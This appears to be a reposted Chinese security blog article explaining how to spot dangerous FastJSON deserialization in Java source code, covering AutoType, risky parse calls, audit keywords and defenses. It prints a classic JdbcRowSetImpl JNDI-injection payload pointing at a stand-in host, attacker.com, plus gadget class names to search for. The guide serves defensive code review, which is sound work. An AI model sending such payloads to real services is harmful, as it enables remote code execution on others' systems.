FastJSON 漏洞源码审计简易版
📌 本文讲解如何在源码层面快速识别 FastJSON 的危险用法,即使不跑 POC、不用 Burp,也能定位风险点。
📦 什么是 FastJSON ?
FastJSON 是阿里巴巴开源的 Java JSON 解析库,以高性能著称,广泛用于企业级 Java 项目中。但由于其支持 自动类型识别(AutoType) 和 反射机制,一度成为远程命令执行(RCE)等漏洞的重灾区。
🧠 为何会导致RCE ?
1. AutoType 机制
FastJSON 允许在 JSON 中通过 @type
指定反序列化的类:
{ "@type": "com.example.User", "username": "admin"}
当开启 AutoType,FastJSON 会根据 @type
进行类加载,触发反射执行。
反射执行的分析 👉 FastJSON 反序列化到底干了啥?一文看懂它是如何利用反射机制的!
2. 具体原因
-
FastJSON 在未做严格白名单校验的情况下,信任外部 JSON 中传入的类名。 -
某些类的构造方法或 setter 方法在被调用时会自动触发危险操作,例如:JNDI 查询、加载外部类、执行系统命令。
👀一眼扫过代码,FastJSON
📌 导入语句关键词:
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;
只要你在源码中看到了这两个,就说明这个项目用了 FastJSON。
🚨 风险特征
函数名 | 风险级别 | 描述 |
---|---|---|
JSON.parse() |
高 | 会自动解析 @type ,反序列化任意类 |
JSON.parseObject() |
中/高 | 可以指定类型,也可能触发风险 |
JSON.parseArray() |
中 | 解析数组结构,潜在风险较低 |
JSONObject.parse() |
中 | 同样可能触发类型自动识别 |
JSON.parse(jsonStr) |
黑名单 | 最常见高危写法,不能用它解析用户输入! |
💥经典错误写法
// 典型反序列化入口String payload = request.getParameter("data");Object obj = JSON.parse(payload); // 高危:直接解析外部数据
✅ 正确用法:
// 明确指定类型,避免自动类型识别User user = JSON.parseObject(payload, Whitelist.class);
👀 源码审计流程
🧭 步骤一:全局搜索关键词
|
|
---|---|
@type |
|
AutoType |
|
JSON.parse |
|
JSON.parseObject |
|
TypeUtils.loadClass |
|
JdbcRowSetImpl |
|
TemplatesImpl |
|
setAutoCommit |
|
resolveClassName |
|
ClassNotFoundException |
|
ParserConfig.setAutoTypeSupport(true) |
|
fastjson |
|
🧪 步骤二:检查是否处理外部输入
重点关注的变量来源:
-
request.getParameter()
-
BufferedReader reader = req.getReader();
-
任何外部 API 接收到的参数
如果这些参数直接进入 JSON.parse()
,那基本就中招了。
Spring 注解调用FastJSON分析 👉 Spring MVC + FastJSON:反序列化攻击是怎么一步步发生的?
🧨 步骤三:查找是否禁用 AutoType
低版本情况:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
如果没有这个配置,大概率是 默认启用了 AutoType,这就是 FastJSON 被打穿的核心原因!
FastJSON ≥ 1.2.48时
// 显式开启 AutoType 全局支持(强烈不推荐)ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// 开启某个类前缀的 AutoType 支持(推荐做法)ParserConfig.getGlobalInstance().addAccept("com.example.safe.");
如果存在上面的配置,就要排查白名单范围
🧠 典型漏洞链
// 攻击者控制的 JSON 数据{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com:1389/Exploit", "autoCommit": true}
-
服务端执行 JSON.parse(jsonStr)
时,会加载@type
指定的类; -
若类带有 setter 方法可触发远程连接、JNDI 注入等; -
从而导致远程代码执行(RCE)! -
JdbcRowSetImpl
的详细分析 👉 FastJSON × JdbcRowSetImpl 利用链是否还有效?全面解析如何突破 JDK 安全限制
📋 总结
✍️ 看导包、查 parse、跟来源、识配置 ; 一旦输入不干净,parse 就是定时炸弹!
【FastJSON延时性分析 👉 渗透测试 FastJSON 是个“延时炸弹” ? 】
关注点
|
|
---|---|
import com.alibaba.fastjson.* |
|
JSON.parse
JSONObject.parse() |
|
getGlobalInstance |
|
防御方式
-
✅ 永远不要用
JSON.parse(jsonStr)
处理外部数据; -
✅ 使用
parseObject(jsonStr, Xxx.class)
指定类型; -
✅ 禁用 AutoType 并配置白名单类:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
-
✅ FastJSON 升级到 ≥ 1.2.83
原文始发于微信公众号(季升安全):FastJSON 安全审计简洁实用指南:黑盒免测也能揪出漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论